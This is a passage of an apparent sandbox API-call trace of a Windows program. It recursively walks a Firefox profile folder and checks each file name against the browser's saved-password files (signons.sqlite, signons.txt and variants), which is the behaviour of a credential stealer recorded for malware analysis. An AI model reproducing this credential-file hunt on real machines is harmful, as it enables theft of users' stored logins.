(lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.048] lstrlenA (lpString="bookmarkbackups") returned 15 [0071.048] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x65d330 [0071.048] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.048] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.048] LocalFree (hMem=0x6275a8) returned 0x0 [0071.048] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0071.048] lstrlenA (lpString="\\*.*") returned 4 [0071.048] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x641518 [0071.048] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0071.048] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0071.048] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0071.049] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.049] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.049] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.049] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.049] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.049] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.049] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0071.049] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0071.049] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0071.049] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0071.049] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.049] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0071.049] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0071.049] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0071.049] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0071.049] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0071.049] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0071.049] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.050] LocalFree (hMem=0x641518) returned 0x0 [0071.050] LocalFree (hMem=0x65d330) returned 0x0 [0071.050] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.050] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0071.050] lstrlenA (lpString="cert8.db") returned 8 [0071.050] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0071.050] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.050] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0071.050] lstrlenA (lpString="compatibility.ini") returned 17 [0071.050] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0071.050] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.050] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.050] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0071.050] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.050] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.050] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.050] lstrlenA (lpString="cookies.sqlite") returned 14 [0071.050] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.050] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.050] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.050] lstrlenA (lpString="downloads.sqlite") returned 16 [0071.050] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.050] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.051] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.051] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0071.051] lstrlenA (lpString="extensions.ini") returned 14 [0071.051] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0071.051] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0071.051] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0071.051] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.051] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.051] lstrlenA (lpString="extensions.sqlite") returned 17 [0071.051] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.051] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.051] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.051] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.051] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0071.051] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0071.051] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.051] lstrlenA (lpString="\\") returned 1 [0071.051] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.051] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.051] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.051] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.051] lstrlenA (lpString="healthreport") returned 12 [0071.051] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0071.051] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.051] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.051] LocalFree (hMem=0x6275a8) returned 0x0 [0071.051] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0071.051] lstrlenA (lpString="\\*.*") returned 4 [0071.051] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x65d330 [0071.051] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.051] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0071.051] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0071.051] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.051] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.051] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.051] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.051] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0071.051] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.051] LocalFree (hMem=0x65d330) returned 0x0 [0071.051] LocalFree (hMem=0x65b348) returned 0x0 [0071.052] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.052] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.052] lstrlenA (lpString="healthreport.sqlite") returned 19 [0071.052] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0071.052] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.052] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.052] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.052] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0071.052] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.052] lstrlenA (lpString="\\") returned 1 [0071.052] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.052] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.052] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.052] lstrlenA (lpString="indexedDB") returned 9 [0071.052] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.052] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.052] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.052] LocalFree (hMem=0x6275a8) returned 0x0 [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.052] lstrlenA (lpString="\\*.*") returned 4 [0071.052] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x65d330 [0071.052] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.052] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0071.052] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0071.052] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.052] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.052] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.052] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.052] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.052] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0071.052] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.052] lstrlenA (lpString="\\") returned 1 [0071.052] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0071.052] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.052] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0071.052] lstrlenA (lpString="moz-safe-about+home") returned 19 [0071.052] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0071.052] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.052] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.052] LocalFree (hMem=0x65b428) returned 0x0 [0071.052] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.052] lstrlenA (lpString="\\*.*") returned 4 [0071.053] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0071.053] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.053] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0071.053] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 0x642728 [0071.053] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.053] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0071.053] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.053] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.053] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0071.053] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0071.053] lstrlenA (lpString=".metadata") returned 9 [0071.053] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0071.053] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0071.053] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0071.053] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 1 [0071.053] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0071.053] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0071.053] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.053] lstrlenA (lpString="\\") returned 1 [0071.053] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e540 [0071.053] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.053] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.053] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0071.053] lstrlenA (lpString="idb") returned 3 [0071.053] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e730 [0071.053] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.053] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.053] LocalFree (hMem=0x65e540) returned 0x0 [0071.053] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.053] lstrlenA (lpString="\\*.*") returned 4 [0071.053] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x641518 [0071.053] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.053] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0071.053] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 0x642768 [0071.053] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.053] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0071.053] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.053] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.053] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0071.054] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0071.054] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0071.054] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.054] lstrlenA (lpString="\\") returned 1 [0071.054] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e540 [0071.054] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: 